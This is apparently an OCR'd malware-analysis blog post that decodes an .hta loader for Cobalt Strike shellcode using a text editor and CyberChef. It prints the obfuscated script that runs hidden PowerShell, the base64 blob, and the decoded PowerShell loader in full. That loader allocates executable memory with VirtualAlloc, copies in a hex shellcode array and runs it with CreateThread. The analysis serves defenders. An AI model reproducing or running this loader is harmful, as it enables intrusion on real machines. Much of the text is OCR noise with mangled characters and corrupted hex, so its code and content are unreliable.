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being executed, likely the hex blob

- ;i8cF = [
";if ([IntPtr]::5ize -eqg H){SJr =

System.Convert] : :ToBase645tring ([System. Text .Encoding] : :Unicode.GetBytes ($MPm) ) ;$pg = "

Senv:SystemRoot + " "}elsa{;

In this post. | will demonstrate a process for decoding a simple .hta loader used to load
cobalt strike shellcode. We will perform initial analysis using a text editor, and use CyberChef
to extract embedded shellcode. From here we will validate the shellcode using an emulator
(SpeakEasy) and perform some basic analysis using Ghidra.

Hash: 2c683d112d528b63dfaa7ee0140eebc4960fe4fad6292c9456f2Ffbb4d2364680

Malware Bazaar Link:

Analysis

Analysis can begin by downloading the zip file into a safe virtual machine and unzipping it
with the password infected

This will reveal a .hta file. A .hta file is essentially an html file with an embedded script. Our
aim is to locate and analyse the embedded script.

Name

B 2c683d112d528b63dfaa7ec0 140eebcd960fedfad6292c9456f2fbbad2364680.hta

[ 2c683d112d528b63dfaa7ee0140eebcd960fedfad6292c9456f2fbb4ad2364680.zip

Since .hta is a text-based format, we can go straight to opening the file inside of a text editor.
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Analysis with a Text Editor

Opening the file inside of a text editor will reveal a small piece of obfuscated code followed
by a large base64 blob.

o v e T (] £LUO9U | 1£UIEOUYIUIA! EE IHUTEUA IO BUUE IELIH IVIE UL VIOV Ll

1  Biscript>
2 tszJiHJVyBXIKisKzcmHKR = "WS";
3 VoZouSWKCNpnLVA = "crip"
hyhlgEZiBgaCjaJPrNpDrzQ -
PTBSAHRJtLQIpJAeqz = "ell";
qQNZFFhoGvbrgs = (tszJiHJvyBxIKisKzcmHKR + VoZou LvA + hyhlgEZiBgaCjaJPrNpDrzQi + PTBsdHRJtLQIpJAeqz);
rwXRzuPgvutxxjOovbzUWejvaCO=new ActiveXObject (qQnZFFhoGvbrgs) ;
NGebvfDRMyzcdzWEgARaBROVQ cm";
9 J1CKOb7jiHOicmdivHQGHBhp =
e VYdWjsSNKEaSIfEGExQu = "
1 CkFMmsPAsm = (NGebvaRMyzcdequRaBRon + JlCKOb]lHOlcmdlvHQGHBhp + VYdwj sNKEaSIfEGEXQu)
2 erRzngvutxxjovbzuwejvaco run (' $windir%\\Syst \' + ckFMmsPAsm + ' /c C "sv Ki -;sv xP ec;sv s ((gv Ki).value.toString()+(gv
()
AEKADOBW

For the purposes of this blog, we don't need to decode the initial pieces as it's safe to
assume that it just executes a PowerShell command containing the base64 blob.

We can tell this by the presence of a PowerShell command and a broken-up wscript.shell.
Which is commonly used to execute commands from javascript.

e e Loy s e S o S e i s e |
Bi<script>
Y BT Wscript is likely used to execute a powershell
VOZOUSWKCNPDLV
hyhlgeziBgacia command and the base64 blob
PTBsdHRJItLQIpJ:
QqOnZFFhoGvbrgs = (LSZJ1HJVYBXIRIS + VOZOuSWKCNpnLvA + hyhlgEZiBgaCjaJPrNpDrzQi + PTBsdHRJItLQIpJAeqZ) ;

rwXRzuPgvutxxj OVbZUWejVaCO—new ActlveXObj ect (qQnZFFhoGvbrgs) ;
NGebvfDRMyzcdzWfgARaBRovQ =
J1CKObjiHOicmdivHQGHBhp = "

VYdWjsNKEaSIfEGExQu = "xe";

ckFMmsPAsm = (NGebvfDRMyzcdzWfgARaBRovQ + J1CKObjiHOicmdivHQGHBhp + V! EaSILEGEXOU) &

rwXRzuPgvutxxjoOvbzZUWejvaCo. run (' %wind \\System3 \\ + ckFMmsPAsm + | / wershell -w 1 -C "sv Ki -;sv xP e (( Ki) alue.toString ( I
XP)

AaRTAC

Usmg thé ”twh‘edry that the |n|t|al script just ekecutés thé base64'blob we can go stralght to\”
decoding the base64.

TAR1AGKAhAR

If the base64 blob does not decode, we can always return to the initial pieces to investigate
further.

Decoding the Base64

We can proceed by highlighting the entire base64 blob and copying it into cyberchef, from
here we can attempt to decode it.
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https://stackoverflow.com/questions/201479/what-is-base-64-encoding-used-for?ref=embee-research.ghost.io

s) .value.toString ()
N

L</script>

Q + JICKObjiHOicmdivHQGHBhp + VYdWjSNKEaSIFEGExQu) ;
TWXRZUPgVUtxxjOVbZUWejVaCo. run (' $windirt\\System32\\' + ckEMmsPAsm + ' /C powershell -w 1 -C "sv Ki -;sv xP ecisv s ((gv Ki).value.toString()+(gv xP).value.toString()) powershell (gv

\!'"", 0) ;window.close() ;

Copying the base64 content into CyberChef, we can see plaintext with null bytes in-between

the characters.

This generally indicates utf-16 encoding, which is very simple to remove with "decode text"

or "remove null bytes"

Recipe oma
From Base64 O n
Alphabet
A-Za-z0-9+/= T Remove non-alphabet chars
EI Strict mode

Null bytes in-between valid text.

Typically this indicates utf-16
and that we need to remove

Input + O3 e =

JABNAFAABQAgAD@ATAANACQATQBQACAAPQAGAC CATWBDAEQADABSAE KADQBWAGEACEBBACEAT gBr bAAZADIALg b
1ACkAXQBwAHUAVgBsAGkAVwAgAHMAdABhAHQAaQBJACAAZQBAAHQAZQByAG‘tAIABJAWdABQAHQAcgAgAFYAaQEyAHQAdQBhAGwAQQBsAG
WAbWBjACEASQBUAHQAUABOAHIATABSAHAAQQBKAGQACEB1AHMACHASACAAIQBPAGAAdAAZAGQAdWBTAGKAegB1ACWATAB1AGKAbEBOACAAZ

~

gBSAEEADABSAGBAYWBhAHQAQBVAG4AVABSAHAAZQASACAAIQBP AGYADABQAHT WB@ACKAOWBbAEQABABSAEKALQBW
gBOACEATgBr g JAbAAZADIAL gBK bAAIACKAXQBWAHUAYgBSAGKAYWAGAHMAJABhAHQAEQB JACAAZQBAAHQAZQBYAGS
ATABIAG4AJABQAHQACEAGAEMACEBLAGEAdABLAFQAABY QBKACgASQBUAHQAUABBAHIAIABSAHA IAZQBhAGQAQQBOAHQACE

BpAGIAJQBBAGUACWASACAAQBPAGAAdAAEAGQAWBTAHQAYQBJAGS AUWBPAHOAZQASACAASQBUAHQAUABOAHIATIABSAHAAUWBBAGEACEBOA
EEAZABkAHIAZQBzAHMALAAgAEkAbgBQAFAAdAByACAAbABwAFAAYQByAGEAbQB1AHQAZQByACwAIAB1AGkAbgBeACAAZABSAEMAchlAGEA
gl ‘BnAHMAL‘ g y b QAaABYAGUAYQ! ZAAPAD. JAGBACABVAHIAAAA
oACIAbQBzAHYAVwByAHQAL bAAiACKAXQ gBSAGKAYWAgAHMAJABh, .QAaQBJACAAZQB4AHQAZQByAG4AIABJAG4AdABQAH
QACgAgAGBAZQBAHMAZQBBACEASQBUAHQAUABBAHIATABKAGUACWBOACWATABIAGKAbgBOACAACWBYAGMALAAGAHUAQBUAHQAIABIAGEA
QBuAHQ,AKQA7ACcAJwA7ACQAZwBMACAAPQAgAEEAZABkACBAVABSAHAAZQAgACeAbQBlAGOAVgBlAHIARABlAGYAaQBuAGkAdABpAGSAthg
ACQATQBQACAALQBOAGEAbQB1ACAATgBXAGKAbgAZADIAIgAgACOAbEBhAGBAZQBZAHAAYQBAGUAL kAbgAZADIARgBL,
AbWBUAHMATAAL | Qi d TAdQA7AF sAQgB5AHQAZQBLAF@AXQA7AF sAQgBSAHQAZQBbAFOAXQAKAGEATGAGADOATAAWAHEAZE
BjACWAMAB4AGUAOAASADAAeAA4ADKALAAWAHZAMAAWACWAMABAADAAMAAS ADAAe AAWADAAL AAWAHZANZAWACWAMABAADRAOQASADAACABIA ¥
e 6704 = 1 Tr Raw Bytes ¢ LF

:Output B0m::

null bytes

BUMEPUMY =t N UNSNMUPY) N P [NDR LI T Nmtp ottt (et r et 13U 2N AN TN I ) W phutb I e st A
FhatEVINet ety ittat ety Y Thn' udhrtetsist, Y

STEP BAKE! e

utdihnth wdlwhShitzhe',n wutdtnhty WFUINANININovcattiiton Ty plet, t tutikntth WFR1MPUrtohtie ettt )Y
SN [UDNIMINT b photrtth (T ke rtin et U 3N 2N g 1NN ) W ] ptutb I it et shthatthitich Metxhthetrtnt UWIvn'
ThPULNrY UChrtetattiehThhurietatdh (LIn it Pt rt M1kphThhUrhetatdvAtt it riivbhutthetis®, v Wutkitntth Wdb
whSUthatcukushitzheh, MIvnhtWPuthrt W1hvpuSuthatrithAvdidirietstsh, WTunWtWPuth Y W1hphPhatriatimie ity
etr’, L tuhitnhth WdiwhiChrhetatthiton Pl hatghs, Wt t WPttt W1NphTUhrietatdu Itdh ) N [MDU 1N 1N I
protrtt (v imisviie it dt 1M I ) W] ptutbh it vstithattiiteh etixUthetrinh MIUnwthPuthurh mhelmhish
ety (UIUnMtUPUE P hdhetshth,t Mutdnhth wshrteh,t uhdtnhth chotutinhtt) Nyt gk ghLy = WA dY -
Thykphet “-wmhetmibluetriDuet fluitntittuitoknt WEUMUPY Y-tNUatmhet Y UWUitnk3u2h MY -Ynhatimielshphatichiel
MWANN Y 3U NP Uk et iMotntsh -tphatshs it hhirtut M [UBhy Mt et [N ] U ] W[ UBhy it e [ U MU hakNY =t ety
Fleh, otxheh8Y, WeMx U 8NN, UeNx 1 BNeN, uBNX BN e, N BN X 08N, MU XU BN, U X UBMIY, BN x e 5, HONx U 3NN, BN d
2%, M@UxUEMAY, WOMXUBYDY, BN U 52N, W8N X 3O N, MBNX B ™Y, MBN X5 U2, MU X UMY, WO XU BYbY , 0N XU 52", B X 1N
5M@UXUBYbY, MM N 72N, HBN XU 2N BN, WO BN F Y, MO X b U TN, MRt X kA A, RN X U 2ME Y, ON U BN L, HONX U, BN 3NN,
@hxhcuY, Metxhak e, WO X NI, RN BN LY, WO XN T U, BN X MO 2%, BN XM 2U Ch, MU XU 2MON , kXt LY, RN X Y, N
Xh@NdY, WOMXUBNULY, BN U TN, BN X et 2N, MOt X F UGN, MU XN 5N 2N, WO U5 TN, RN U B YUY, BN XU 52 Y, Ul X1 U, het X

8hb%, U8 MAU 2N, MeN X3 e, MU XNOM Y, oM XA YO, WONX BN, M BN X AN, BN X 7 U BN, MOt XU BYU SN, MOUX MO, WO T

By adding a "remove null bytes" into the recipe, we can obtain the decoded content which

looks like a PowerShell script.
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Recipe

From Base64

Alphabet
A-Za-z0-9+/=

I:I Strict mode

Remove null bytes

STEP A BAKE!

()

Auto Bake

Remove non-alphabet chars

Input + 038 =

JABNAFAABQAGADBATAANACQATQBQACAAPQAGACCAIWBDAEQAbABSAEKADQBIWAGBACEBBACEAT gBrAGUACEBUAGUADAAZADTAL gBKAGWADAA
1ACKAXQBWAHUAYgBSAGKAYWAGAHMAABhAHQAaQBIACAAZQB4AHQAZQBYAGAATABIAGAAdABQAHQACEAGAF YAaQBYAHQAQBhAGWAQQBSAG
WAbWBjACEASQBUAHQAUABOAHTATABSAHAAQQBKAGQACEBLAHMACWASACAAIQBPAGAAdAAZAGQAdWBTAGKAegBLACWATAB1AGKAbEBBACAAZ
gBSAEEADABSAGBAYWBhAHQAaQBVAGAAVABSAHAAZQASACAAdQBPAGAAdAAGAGYADABQAHT AbWBOAGUAYWBBACKAOWBLAEQAbABSAEKADQBW
AGBACgBOACEAT gBrAGUACEBUAGUABAAZADIAL gBKAGWADAALACKAXQBWAHUAY gBSAGKAYWAGAHMAABhAHQARQBIACAAZQB4AHQAZQBYAGE
ATABIAG4AJABQAHQACEAEAEMACEBAGEAJABLAFQAaABYAGUAYQBKACEASQBUAHQAUABOAHIATABSAHAAVABOAHIAZQBhAGQAQQBBAHQACE
BpAGIAdQBBAGUAchsACAAdQBpAG4AdAAgAGQAdeTAHQAVQBJAGsAUwBpAHoAZQAsACAASQBuAHQAUABBAHIAIABsAHAAUwBBAGEAchBA
EEAZABKAHIAZQBZAHMALAAg) g yACAAbABWAFAAYQBYAGEALQB1AHQAZQBYACWATAB1AGKAbEBOACAAZAB3AEMACEBLAGEA
bgl YQBNAHMALAAGAEKAbg dABYACAAD yAGUAYQBKAEKAZAAPADSANWBEAGWADABIAGBACABVAHIAJAA
oACIAbQBzAHYAVwByAHQALgBkAGwAbAAlACkAXQBwAHUAVgBsAGkAVwAgAHMAdABhAHQAaQB]ACAAZQB4AHQAZQByAG4AIABJAG4AdABQAH
QACgAgAGRAZQBtAHMAZQBOACEASQBUAHQAUABBAHTATABKAGUACWBRACWAIABIAGKAbgBOACAACWBYAGMALAAGAHUAGQBUAHQATABIAGEA
QBUAHQAKQA7ACCAIWA7ACQAZWBMACAAPQAEAEEAZABKACOAVABSAHAAZQAZACOADQBAGOAY gBIAHTARABLAGYAQBUAGKAJABPAGBAbgAE
ACQATQBQACAALQBO QB1ACAAIg gAZADIAIgAgACBAbEBhAGOAZQBZAHAAYQBAGUATABXAGKAbEAZADTIARgBIAGAAYWBRAGK
AbwBUAHMATAAtAHAAYQBZAHMAABOAHIAJQA7AF SAQgBSAHQAZQBbAF@AXQA7AF SAQgBSAHQAZQBbAF@AXQAKAGEATEAGADOATAAWAHEAZE
BJACWAMAB4AGUAOAASADAAeAAGADKAL AAWAHZAMAAWACWAMABAADAAMAAS ADAAE AAWADAAL AAWAHEANZAWACWAMABAADZAOQASADAACABLA ¥

amc 6704 = 1 Tr Raw Bytes ¢4 LF
Output 3 ] rD m o
$MPm = '$MP = ''[DllImport("kernel32.d11")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint ~

dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.d11")]public static extern IntPtr
CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint
dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr
dest, uint src, uint count);'';$gL = Add-Type -memberDefinition $MP -Name "Win32" -namespace
Win32Functions -passthru;[Byte[]];[Byte[]]$aN =
oxfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,08x8b,0x52,0x0C,8x8b,0X52,0%14,0x
8b,08x72,0x28,0x0f,0xb7,08x4a,0x26,0x31,0xff,0x31,0xC0,B8xac,Ox3c,0x61,8x7c,0x82,0x2¢,8x20,0xCc1,0xcf,0x0d,B8x01
,0xc7,08xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3¢,0x01,0xd0,0x8b,0x40,0x78,0x85,0xC0O,0X74,0x4a,0x01,0
xde,ox5e,0x8b,0x48,0x18,0x8b, 0x58,0x20,0x81,0xd3,@xe3,8x3c, 0x49,8x8b, 0x34, 8x8b, 0x01, 0xd6, 8x31, 8xFF, 0x31,8xXC
0,0xac,0xcl,excf,oxed,exe1,exc7,0x38,0xe0,0x75,0xf4,0x083,0x7d,0xf8,0x3b,08x7d,0x24,0X75,0xe2,0x58,0X8b,8xX58,
0x24,0x01,08xd3,0x66,0x8b,0x0c,8x4b,0x8b,0x58,08x1c,0x01,0xd3,08x8b,0x04,0x8b,0x01,0xd0,0Xx89,08x44,0x24,0X24,0X
5b,@x5b,0x61,0x59,0x5a,0x51,0xff,0xed,0x58,0x5F,8x5a,0x8b,0x12,8xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0X68
,0x77,0x73,08x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07 ,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,08xCc4,0x54,0X50,0
x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,08x50,0x50,0x50,08x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd
5,0x97,08x6a,0x05,0x68,08x33,0x4f,0x31,0xae,0x68,0x02,0x080,0x01,0xbb,0x89,08xe6,0x6a,0x10,08x56,0x57,0x68,8%99,
@xa5,0x74,08x61,0xff,0xd5,0x85,08xc0,0x74,0x0c,8xff,0x4e,0x08,0x75,0xec,0x68,08xf0,0xb5,0xa2,08x56,0xff,0xd5,8x

The use of "decode text" and "utf-16" would also have worked fine.

Recipe SN N
From Base64 o n
Alphabet
A-Za-z0-9+/= M . Remove non-alphabet chars

D Strict mode

Decode text on

Encoding
UTF-16LE (1200)

Null bytes have been removed

using "decode text + utf-16"
"Remove null byte" also works
well.
A [ ]

Input + 028 =

JABNAFAABQAZAD@ATAANACQATQBQACAAPQAEACCAIWBbAEQAbABSAEKADQBWAGBACEBRACEATgBrAGUACEBUAGUAbAAZADIAL gBKAGWABAA
1ACKAXQBWAHUAY gBsAGKAYwAgAHMAdABhAHQAaQBJACAAZQBAAHQAZQBYAGAATABIAGAAdABQAHQACEAGAF YAaQBYAHQAIQBhAGWAQQBSAG
WAbwBJACgASQBUAHQAUABRAHIAIABSAHAAQQBKAGQACgB1AHMACWASACAAdQBPAGAAdAAGAGQAdWBTAGKAe gB1ACWAIAB1AGKADEBBACAAZ
gBSAEEAbABSAGBAYWBhAHQAaQBVAG4AVABSAHAAZQASACAAAQBPAGAAdAAZAGYAbABQAHIAbWBOAGUAYWBOACKAOWBDAEQADABSAEKADQBW
AG8ACcgBOACZAIgBrAGUACgBUAGUAbAAZADIAL gBKAGWADAALACKAXQBWAHUAYgBsAGKAYWAgAHMAABhAHQAEQBjACAAZQBAAHQAZQBYAGA
AIABIAG4AdABQAHQACgAgAEMACgBIAGEAdABLAFQAaABYAGUAYQBKACEASQBUAHQAUABOAHIAIABSAHAAVABOAHIAZQBhAGQAQQBBAHQACE
BpAGIAdQBBAGUACWASACAAdQBPAGAAdAAZAGQAAWBTAHQAYQBAGS AUWBPAHOAZQASACAASQBUAHQAUABOAHIATIABSAHAAUWBBAGEACEBOA
EEAZABKAHIAZQBZzAHMALAAgAEKAbgBOAFAAdABYACAADABWAFAAYQBYAGEADQBLAHQAZQBYACWAIABLAGKAbgBOACAAZAB3AEMACEBLAGEA
dABpAG8AbgBGAGWAYQBNAHMALAAZAEKAbgBBAFAAdABYACAABABWAFQAaABYAGUAYQBKAEKAZAAPADSAWWBEAGWADABIAGRACABVAHIAAA
OACIAbQBZAHYAYwBYAHQAL gBKAGWAbAALACKAXQBWAHUAY gBsAGKAYwAgAHMAdABhAHQAaQB jACAAZQB4AHQAZQBYAG4ATABIAG4AdABQAH
QACgAgAGRAZQBtAHMAZQBRACEASQBUAHQAUABBAHIAIABKAGUACWBBACWATIAB1AGKAbgBOACAACWBYAGMAL AAgAHUAaQBUAHQAIABIAGEAd
QBUAHQAKQA7ACCAIWA7ACQAZWBMACAAPQAGAEEAZABKACBAVABSAHAAZQAGACOADQBLAGOAYgB1AHIARABLAGYAaQBUAGKAdABPAGBAbEAE
ACQATQBQACAALQBOAGEADQB1ACAAIgBXAGKAbgAZADIAIgAgACOAbgBhAGRAZQBZAHAAYQBJAGUAIABXAGKAbgAZADIAREB1AGAAYWBBAGK
AbwBUAHMATIAAtAHAAYQBzAHMAdABOAHIAdQA7AF sAQgB5AHQAZQBbAFBAXQA7AF sAQgB5SAHQAZQBbAF@AXQAKAGEATEAGADBATAAWAHEAZE
BiACWAMAB4AGUAOAASADAAeAA4ADKALAAWAHZAMAAWACWAMAB4ADAAMAAS ADAAe AAWADAAL AAWAHZANZAWACWAMAB4ADEAOQASADAAeABLA VY
e 6704 = 1 Tr Raw Bytes ¢~ LF

Output B [_D m e

$MPm = "$MP = ''[DllImport(“kernel32.d11")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint
dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.d11")]public static extern IntPtr
CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint
dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr

dest, uint src, uint count);'';$gL = Add-Type -memberDefinition $MP -Name "Win32" -namespace
Win32Functions -passthru [Byte[]] [Byte[]]saN

Bb 9)(72 zes exef oxb7, ex4a exzs exz1 Bxff 0x31 exce exac ax:c axe1 ex7c axez sz: sze excl excf Oxad exe1
,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,8x8b,0x48,0x78,0x85,0xC0,0x74,0x4a,0x01,0
xde,ex50,0ex8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xC
@,0xac,0xcl,excf,0xed,oxe1,8xc7,0x38,0xe0,0x75,08xf4,0x03,0x7d,0xf8,08x3b,0x7d,0Xx24,08x75,0xe2,0Xx58,0x8b,0x58,
@x24,0x01,0xd3,0x66,0x8b,0x8c,8x4b,0x8b,0x58,0x1c,8x01,0xd3,0x8b,8x04,0x8b,0x01,0xd0, B8x89,0Xx44,0X24,0x24,0X
5b,@x5b,0x61,08x59,0x5a,0x51,8xff,0xed,0x58,0x5F,8x5a,0x8b,0x12,8xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00, 0X68
,0x77,0x73,0x32,0x5f,0x54,0x68,08x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,08x00,0x29,0xCc4,8x54,0x50,0
x68,0x29,08x80,0x6b,0x00,0xff,08xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea, 0x0f ,0xdf,8xed,0xff,0xd
5,8x97,0x6a,0x05,0x68,0x33,0x4f,0x31,0xae,0x68,0x02,0x080,0x01,0xbb,0x89,0xe6,0x6a,08x18,0x56,0Xx57,0X68,0x99,

Either of these options will result in a decoded powershell script, which we can highlight and

copy into a new text editor window.
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$MPm 'SMP = ''[DllImport ("kernel32.dl1l")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint
flAllocationType, uint flProtect);[DllImport ("kernel32.dl1l") ]public static extern IntPtr CreateThread (IntPtr
lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr

lpThreadId) ; [D11Import ("msvcrt.dll") Jpublic static extern IntPtr memset (IntPtr dest, uint src, uint count);'';$gL = Add-Type
-memberDefinition $MP -Name "Win32" -namespace Win32Functions -passthru; [Byte[]]; [Byte[]]$aN
Oxfc,O0xe8,0x89,0x00,0x00,0x00,0x60,0x89, 0xe5, 0x31,0xd2,0x64, 0x8b, 0x52, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0
xb7,0x4a,0x26,0x31, 0xff, 0x31, 0xc0, Oxac, 0x3c, 0x61,0x7c,0x02, 0x2c, 0x20, 0xcl, Oxcf, 0x0d, 0x01, Oxc7, Oxe2, 0xf0, 0x52, 0x57, 0x8b, 0x52, 0x
10, 0x8b, 0x42, 0x3c, 0x01, 0xd0, 0x8b, 0x40, 0x78, 0x85, 0xc0, 0x74, 0x4a, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x8b, 0x58, 0x20, 0x01, 0xd3, Oxe3, 0x3
c,0x49,0x8b, 0x34, 0x8b, 0x01, 0xd6,0x31,0xff,0x31, 0xc0, Oxac, Oxcl, Oxcf, 0x0d, 0x01,0xc7,0x38, 0xe0, 0x75,0xf4,0x03,0x7d, 0x£f8,0x3b, 0x7d
,0x24,0x75,0xe2, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44,
0x24,0x24,0x5b, 0x5b,0x61,0x59, 0x5a, 0x51, 0xff, 0xe0, 0x58, 0x5f, 0x5a, 0x8b, 0x12, Oxeb, 0x86, 0x5d, 0x68, 0x33,0x32, 0x00, 0x00, 0x68, 0x77, 0
x73,0x32,0x5f, 0x54, 0x68, 0x4c, 0x77,0x26,0x07, 0xff, 0xd5, 0xb8, 0x90, 0x01, 0x00, 0x00, 0x29, 0xc4, 0x54, 0x50, 0x68, 0x29, 0x80, 0x6b, 0x00, Ox
ff,0xd5,0x50,0x50,0x50, 0x50, 0x40, 0x50,0x40, 0x50,0x68, Oxea, 0x0f, Oxdf, Oxe0, Oxff, 0xd5, 0x97, 0x6a, 0x05, 0x68, 0x33, 0x4f, 0x31, Oxae, 0x6
8,0x02,0x00,0x01, 0xbb, 0x89, 0xe6, 0x6a, 0x10, 0x56, 0x57, 0x68,0x99, 0xa5,0x74,0x61, Oxff, 0xd5, 0x85, 0xc0, 0x74,0x0c, 0xff, Oxde, 0x08, 0x75
,Oxec, 0x68, 0xf0, 0xb5, 0xa2,0x56, 0xff, 0xd5, 0x6a, 0x00, 0x6a, 0x04,0x56,0x57,0x68, 0x02, 0xd9, 0xc8, 0x5f, 0xff, 0xd5, 0x8b, 0x36, 0x6a, 0x40
0x68, 0x00,0x10,0x00,0x00,0x56, Ox6a, 0x00, 0x68, 0x58, 0xad, 0x53, 0xe5, 0xff, 0xd5, 0x93, 0x53, 0x6a, 0x00, 0x56,0x53, 0x57, 0x68, 0x02, 0xd9, 0
xc8,0x5f, 0xff, 0xd5,0x01, 0xc3, 0x29, 0xc6, 0x85, 0xf6,0x75, Oxec, 0xc3;$Ud = 0x1000;if ($aN.Length —-gt 0x1000) {$Ud =

$aN.Length}; $SmM=$gL: :VirtualAlloc (0,0x1000,$U0d, 0x40) ; for ($Bw=0;$Bw -le ($aN.Length-1);S$Bw++

{$SgL: :memset ([IntPtr] ($SmM.ToInt32 () +$Bw), $aN[$Bw], 1)};$gL::CreateThread(0,0,%$mM,0,0,0);for (;){Start-Sleep 60};';$cF = [
System.Convert] : : ToBase64String ([System. Text.Encoding] : :Unicode.GetBytes ($MPm) ) ;$pg = "-ec ";if ([IntPtr]::Size -eq 0) {$Jr =
$env:SystemRoot + "\syswow64\WindowsPowerShell\vl.O\powershell";iex "& $Jr $pg $cF"}else{;iex "& powershell S$pg $CF";H

Analysis of The PowerShell Script

With the PowerShell script now placed into a text editor, we can go ahead and scan for
keywords or anything that may indicate where we can go next.

For me, there are two primary things that stand out. That is the large blob of hex bytes in the
middle of the script, as well as numerous references to api's that can be used to allocate
(VirtualAlloc), write (memset) and execute (CreateThread) something in memory.

learfake_bytecodes.yar LJ| i 2c683d11 Jhta L] 2c683d11 JNtEES =] new 11 L” M
$MPm = 'SMP = ' tern IntPterirtnalAlloc(lntPtr 1 5 uint dwSize, uint
f1AllocationType,| Memory allocation + Thread Creation - Something is [) Jpublic static extern IntPtr|CreateThread|IntPtr
lpThreadAttributg being executed, likely the hex blob , IntPtr lpParameter, uint dwCreationrlags, IntPtr
lpThreadId) ; [D111 ntPt IntPtr dest, uint src, uint count);'';$gL = Add-Type

=memborDafinition SMD _Nomo M0 M  _pomocrace Wip 32k nnctione —rocat by TR+l 1 - TRUEaT]] N =

0xfc, 0xe8, 0x89, 0x00,0x00, 0x00, 0x60,0x89, 0xe5,0x31, 0xd2, 0x64, 0x8b, 0x52, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0
xb7,0x4a,0x26,0x31,0xff, 0x31, 0xc0, Oxac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20,0xcl, Oxcf, 0x0d, 0x01, Oxc7, Oxe2, 0xf0,0x52, 0x57, 0x8b, 0x52, 0x
10, 0x8b, 0x42, 0x3c, 0x01, 0xd0, 0x8b, 0x40, 0x78, 0x85, 0xc0, 0x74, 0x4a, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x8b, 0x58, 0x20, 0x01, 0xd3, Oxe3, 0x3
c,0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, Oxff, 0x31, 0xc0, Oxac, Oxcl, O0xcf, 0x0d, 0x01, 0xc7,0x38, 0xe0, 0x75,0xf4,0x03, 0x7d, 0x£8, 0x3b, 0x7d
,0x24,0x75,0xe2,0x58,0x8b, 0x58, 0x24,0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44,
0x24,0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x58, 0x5f, 0x5a, 0x8b, 0x12, Oxeb, 0x86, 0x5d, 0x68, 0x33, 0x32, 0x00, 0x00, 0x68, 0x77, 0

x73,0x32, 0x5f, 0x54, 0x68, 0xdc 0 026 0v07 OvFF OvAS Ovha 0v0a0 0%01 0%00,0x00,0x29,0xcd, 0x54, 0x50, 0x68, 0x29, 0x80, 0x6b, 000, 0x
ff,0xd5, 0x50, 0x50,0x50, 0x ,0xff,0xd5, 0x97, 0x6a,0x05,0x68,0x33,0x4f,0x31, Oxae, 0x6
8,0x02,0x00,0x01, 0xbb, 0x8 Blob of hex bytes, too short to be a pe/exe file. 0x61, 0xff, 0xd5, 0x85, 0xc0, 0x74, 0x0c, Oxff, Oxde, 0x08, 0x75
,0xec, 0x68,0xf0, 0xb5, 0xa2 . x68,0x02, 0xd9, 0xc8, 0x5f, 0xff, 0xd5, 0x8b, 0x36, 0x6a, 0x40,
0x68, 0x00, 0x10, 0x00, 0x00, Possibly Shellcode? d5,0x93, 0x53, 0x6a, 0x00, 0x56, 0x53, 0x57, 0x68, 0x02, 0xd9, 0
xc8, 0x5f, 0xff, 0xd5, 0x01, 0 1000;if ($aN.Length —gt 0x1000) {$Ud =

$aN.Length}; $SmM=$gL: :VirtualAlloc(0,0x1000,$Ud, 0x40) ; for ($Bw=0;$Bw -le ($aN.Length-1) ;S$Bw++)

{$gLl: memset ([IntPtr]| (SmM.ToInt32 () +5Bw), SaN[SBw], I)};SgL::CreateThread(0,0,5mM,0,0,0);for (;) {Start-Sleep 60};";$cF = [
System.Convert] : :ToBase64String ([System.Text.Encoding]: :Unicode.GetBytes ($MPm)) ;$pq = "-ec ";if ([IntPtr]::Size -eq ) {$Jr =
$env:SystemRoot + "\syswow64\WindowsPowerShell\vl.O0\powershell";iex "& $Jr Spgq ScF"}else{;iex "& powershell $pq SCE";H

